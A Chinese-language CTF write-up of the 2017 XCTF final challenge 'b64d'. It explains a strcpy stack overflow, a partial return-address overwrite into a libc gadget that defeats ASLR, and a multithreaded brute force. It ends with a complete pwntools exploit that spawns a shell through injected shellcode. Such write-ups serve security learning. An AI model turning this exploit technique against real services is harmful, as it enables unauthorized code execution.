2017XCTF决赛题 -- b64d

从一道看似普通的栈溢出开始的探索

Posted by Carter on October 1, 2017

写在前面

前段时间有幸代表战队参加了2017年XCTF总决赛,和国内国外的大佬们有了现场过招的机会。该次决赛赛制也很有意思,不再采用两天都是攻防赛的形式,我是引入了目前IT圈内的大明星 – 人工智能。总决赛总共两天,第一天是各个战队使用自己开发的AI工具,对主办方放出的题目进行自动化的fuzz,只有当fuzz出该题目的崩溃后,人类选手才能得到该题的二进制程序文件,进行分析和利用的开发;第二天则是过去的老套路,放出了4道pwn题(此次没有web题,心疼web选手),进行现场的攻防竞赛。

此篇博文,不是挑选比赛中最难的题目进行说明,而是拿一道我觉得比较有意思的题目,依此作为研究的起点,进行一些探索。这道题是我们的AI工具在第一天比赛开始后几分钟就fuzz出崩溃的一道题,名称叫做b64d,很明显的一个栈溢出漏洞,本来以为会轻松利用,结果后续研究过程却很有意思。下面由我细细道来。

一. 漏洞分析

漏洞存在于main函数内,允许读入2048个base64编码后的字符串,将解码后的字符串v5通过strcpy函数复制到栈上,导致了栈溢出。 img

​ 程序是amd64结构,保护措施只开了堆栈地址随机化 img

二. 难点探寻

​ 这个简单的栈溢出题目为什么有趣呢?原因在于当我们覆盖其返回地址为shellcode地址时,strcpy遇到’\x00’发生了截断,因此不能够完全覆盖返回地址到bss段存放shellcode的地址。其返回地址覆盖前是一个so库中的地址,因此一旦修改错误程序就会跳到未知的地方,从而崩溃。 img

​ 因此,我们只能在原本的一个so库地址上进行小范围修改。而so库的基址每次都是随机的,我们把返回地址覆盖到哪里?这是亟待解决的问题

三. 解决方法

3.1 探索

  1. 我们从上图中可以看到,在栈顶往下4个地址处,有一个main函数开始的地址。试想:如果我们把返回地址修改成这个地址,再让main函数再运行一次,到ret时的返回地址会不会发生变化呢?(抱着’‘死马当作活马医的心态”试试看)
    于是在gdb中手动修改了ret为main函数开始的地址,再一次回到ret处。此时可喜的看到,ret地址已经是0x0了,此时我们就可以随意覆盖返回地址到任意地方了 img

  2. 那么该如何完成第一步我们的假设?很容易想到在第一次到达ret时,需要将程序的控制流返回到“pop pop pop ret”上,执行完这串gadget后,程序就刚好可以返回到栈顶往下第4个地址 – main函数起始处。

  3. 要在so库中,找到一个’pppr’地址并不难,需要我们斟酌的是:

  • 选取哪个so库中哪个’pppr’序列?

  • 栈溢出时,覆盖ret本来的地址时,覆盖几个字节?

  • 并且同时需要考虑到:strcpy在拷贝时,会在末尾自动添加一个字节的’\x00’ ​

3.2 落实

  1. 先来通过实践,看看在开启地址随机化的情况下,so库的地址范围有什么变化: 0x00007f739fea0000 – 0x00007f73a0060000
    0x00007f938edf9000 – 0x00007f938efb9000
    可以看出,每一次so库的基址,后面6个字节都是随机的;在同一次运行过程中,不考虑有进位的情况下,so库地址后3个字节是变化的,前面的字节是相同的。这将作为我们研究的理论基础。

  2. 在第一次覆盖ret时,此时该地址中存放的是 __libc_start_main+240 这一个地址,在我本机的so库计算偏移为:0x20830. 设想一下以下情况的合理性:在0x20830附近(因为要防止差得太多会导致进位的问题,因此在附近找最保险)寻找gadget,我们通过ROPgadget找到了一个0x202e3的gadget满足我的条件,我将ret地址的后两个字节通过栈溢出覆盖为‘\x02\xe3’,由于strcpy的原因,因此原来的ret地址会被覆盖为‘0x00007fxxxxxx0002e3’
    ​ 接着我们逆向思考,当so库的基址是满足什么条件时,其0x202e3偏移的地址会满足‘0x00007fxxxxxx0002e3’。不难得出结论,即:so库基址的后6位是0xfe0000。从第1步的实验数据中可以轻松得到,此种概率为 1/4096

  3. 如果第2步成功的命中,那么接下来就好办了:再一次运行main函数,利用栈溢出覆盖ret为bss段存放shellcode的地址即可。

四. 增加爆破效率

由于命中的概率为 1/4096,是一个很小的概率,因此如何增加爆破效率是我们要解决的问题。在此我做了以下两点工作:

  • 同时开启了40个线程,用并发加快命中概率
  • 每次运行时,先读取 ‘/proc/pid/maps’ 文件,检查so库加载基址是否为 0xfe0000,如果不是则退出,缩短了单个程序运行时间 img 如上图所示,40个线程基本已经达到我虚拟机的CPU极限了。最终跑出来的时间还是和人品有关系,但在40个线程的情况下,最多用时10分钟也都能跑出来了。

五. 利用代码

编写gdb脚本辅助调试

为了调试在第一次ret成功覆盖为’pop pop pop ret’地址后续的利用过程,不得不每次都先计算出so库基址偏移0x202e3处的地址,再将ret地址数据覆盖为此地址。这样的工作可以通过编写gdb脚本来自动化完成

python 
so_start_addr = peda.get_vmmap('/lib/x86_64-linux-gnu/libc-2.23.so')[0][0]
peda.execute('set $so_start='+hex(so_start_addr))
end

define ppp
set *(long long *)$rsp = $so_start + 0x202e3
end

source aa

解释:
1. peda插件是python实现的,因此通过python的支持,获取so库基址
2. 自定义gdb命令ppp,该命令的作用是修改栈顶位置为计算出来的’pppr’的gadget地址
3. source aa 是将断点信息文件source进来

最终exp

from pwn import *
import base64
import time
import datetime
import threading

flag=0

def monitor(pid):
	f = open('/proc/{}/maps'.format(pid))
	data = f.read().split('\n')
	f.close()
	for item in data:
		if '/lib/x86_64-linux-gnu/libc-2.23.so' in item:
			print item[0:item.find('-')]
			if item[6:12]=='fe0000':
				return True
			return False

def pwn():
	global flag
	#context.log_level = 'debug'
	while 1:
		if flag:
			exit(0)

		io = remote('127.0.0.1',2333)
		try:
			pid = pidof('b64d')[0]
			print 'pid = {}'.format(pid)
			if monitor(pid):
				print 'Find it'
				flag = 1
				#gdb.attach(pid,open('debug'))

			padding = 'A'*56
			shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')


			payload1 = padding + '\xe3\x02'
			payload1 = base64.b64encode(payload1)
			io.sendline(payload1)
			io.recv(1024)

			#time.sleep(1)

			shellcode_addr = 0x602119
			payload2 =  base64.b64encode('a'*56 + p64(shellcode_addr)) + '\x00' + shellcode
			io.sendline(payload2)
			io.recv(1024)
	
			io.interactive()
			# 	break
		except KeyboardInterrupt:
			io.close()
			break
		except:
			io.close()
			pass
		

if __name__=='__main__':
	thread = []
	starttime = datetime.datetime.now()


	for i in range(40):
		t = threading.Thread(target=pwn,args=())
		thread.append(t)
		t.start()

	for i in thread:
		i.join()

	endtime = datetime.datetime.now()
	print (endtime - starttime).seconds